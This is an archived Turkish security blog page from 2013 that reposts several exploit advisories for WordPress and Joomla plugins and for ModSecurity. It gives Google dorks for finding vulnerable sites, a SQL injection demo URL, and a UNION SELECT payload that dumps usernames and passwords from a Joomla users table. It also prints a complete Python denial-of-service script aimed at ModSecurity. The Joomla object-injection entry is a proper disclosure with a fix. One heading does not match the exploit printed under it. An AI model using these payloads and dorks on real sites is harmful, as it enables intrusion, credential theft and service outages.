Archive for 30 Haziran 2013

WordPress ProPlayer Eklentisi SQL Injection Açığı

wordpress-aciklariWordPress ProPlayer Eklentisi SQL Injection açığı bulunmuş oluş açığın oluşum yeri ve açık hakkında exploit aşağıdaki şekildedir.

##############
# Exploit Title : WordPress ProPlayer Plugin SQL Injection
#
# Exploit Author : Ashiyane Digital Security Team
#
# Plugin Link  : http://wordpress.org/plugins/proplayer/
#
# Home : www.ashiyane.org
#
# Security Risk : High
#
# Version : 4.7.9.1
#
# Dork : inurl:wp-content/plugins/proplayer/playlist-controller.php?id=
#
# Tested on: Linux
#
##############
#Location:site/wp-content/plugins/proplayer/playlist-controller.php?id=[SQL]
#
#
#DEm0:
# http://server/wp-content/plugins/proplayer/playlist-controller.php?id=32-0%27
#
##############
#Greetz to: My Lord ALLAH
##############
#
# Amirh03in
#
##############  

Joomla 3.0.3 PHP Object Injection Vulnerability

joomla-aciklariJoomla!  3.0.3 (plugins/system/remember/remember.php) – PHP Object Injection bulunmuş olup, açığın oluşum yeri ve kullanımı hakkındaki bilgilendirmeler aşağıdaki şekildedir;

------------------------------------------------------------------
Joomla! <= 3.0.3 (remember.php) PHP Object Injection Vulnerability
------------------------------------------------------------------

[-] Software Link:

http://www.joomla.org/

[-] Affected Versions:

Version 3.0.3 and earlier 3.0.x versions.
Version 2.5.9 and earlier 2.5.x versions.

[-] Vulnerability Description:

The vulnerable code is located in /plugins/system/remember/remember.php:

34.	$hash = JApplication::getHash('JLOGIN_REMEMBER');
35.
36.	if ($str = JRequest::getString($hash, '', 'cookie', JREQUEST_ALLOWRAW | JREQUEST_NOTRIM))
37.	{
38.	    // Create the encryption key, apply extra hardening using the user agent string.
39.	    // Since we're decoding, no UA validity check is required.
40.	    $privateKey = JApplication::getHash(@$_SERVER['HTTP_USER_AGENT']);
41.
42.	    $key = new JCryptKey('simple', $privateKey, $privateKey);
43.	    $crypt = new JCrypt(new JCryptCipherSimple, $key);
44.	    $str = $crypt->decrypt($str);
45.	    $cookieData = @unserialize($str);

User input passed through cookies is not properly sanitized before being used in an unserialize()
call at line 45. This could be exploited to inject arbitrary PHP objects into the application scope.
Successful exploitation of this vulnerability requires authentication because the attacker needs
to know the "hash string" used to read the cookie parameter at line 36.

[-] Solution:

Upgrade to version 2.5.10, 3.0.4 or 3.1.0.

[-] Disclosure Timeline:

[04/12/2012] - Vendor alerted for a possible vulnerability
[13/02/2013] - Vulnerability confirmed and proof of concept sent to the vendor
[24/04/2013] - Vendor update released
[26/04/2013] - Public disclosure

[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2013-3242 to this vulnerability.

[-] Credits:

Vulnerability discovered by Egidio Romano.

[-] Original Advisory:

http://karmainsecurity.com/KIS-2013-04

Joomla DJ Classifieds Extension 2.0 – Blind SQL Injection Vulnerability

joomla-aciklariJoomla DJ Classifieds Extension 2.0 – Blind SQL Injection oluşum yeri ve açığın kullanımı konusunda açıklamalar şu şekildedir.

Joomla Component com_s5clanroster Sql Injection Vulnerability
==============================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Dork           : inurl:"com_s5clanroster"
.:. Script         : http://www.shape5.com/product_details/club_extensions/s5_clan_roster.html
####################################################################
===[ Exploit ]===

Sql Injection:
==============

server/index.php?option=com_s5clanroster&view=s5clanroster&layout=category&task=category&id=1

server/index.php?option=com_s5clanroster&view=s5clanroster&layout=category&task=category&id=-null'+/*!50000UnIoN*/+/*!50000SeLeCt*/group_concat(username,0x3a,password),222+from+jos_users-- -
####################################################################

 		 	   		  

ModSecurity Remote Null Pointer Dereference

ModSecurity Remote Null Pointer Dereference

python exploit code

#!/usr/bin/env python3 #-*- coding: utf-8 -*- # # Created on Mar 29, 2013 # # @author: Younes JAAIDI <<a href="mailto:yjaaidi@shookalabs.com">yjaaidi@shookalabs.com</a>> #

import argparse import http.client import logging import sys import urllib.request

logger = logging.getLogger(__name__) logger.setLevel(logging.DEBUG) logger.addHandler(logging.StreamHandler(sys.stderr))

class ModSecurityDOSCheck(object):

_DEFAULT_REQUEST_BODY_SIZE = 200 # KB     _DEFAULT_CONCURRENCY = 100     _DEFAULT_USER_AGENT = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36"

def __init__(self):         self._request_counter = 0         self._status_message = None

def main(self, args_list):         args_object = self._parse_args(args_list)                 payload = "A" * args_object.request_body_size * 1024                 request = urllib.request.Request(args_object.target_url,                                          method = "GET",                                          data = payload.encode('utf-8'),                                          headers = {'Content-Type': 'text/random',                                                     'User-Agent': self._DEFAULT_USER_AGENT})                 if self._send_request(request):             logger.info("Target seems to be vulnerable!!!")             return 0         else:             logger.info("Attack didn't work. Try increasing the 'REQUEST_BODY_SIZE'.")             return 1

def _parse_args(self, args_list):         parser = argparse.ArgumentParser(description="ModSecurity DOS tool.")         parser.add_argument('-t', '--target-url',                             dest = 'target_url',                             required = True,                             help = "Target URL")         parser.add_argument('-s', '--request-body-size',                             dest = 'request_body_size',                             default = self._DEFAULT_REQUEST_BODY_SIZE,                             type = int,                             help = "Request body size in KB")                 return parser.parse_args()

def _send_request(self, request):         try:             urllib.request.urlopen(request)             return False         except (http.client.BadStatusLine, urllib.error.HTTPError):             return True

if __name__ == '__main__':     sys.exit(ModSecurityDOSCheck().main(sys.argv))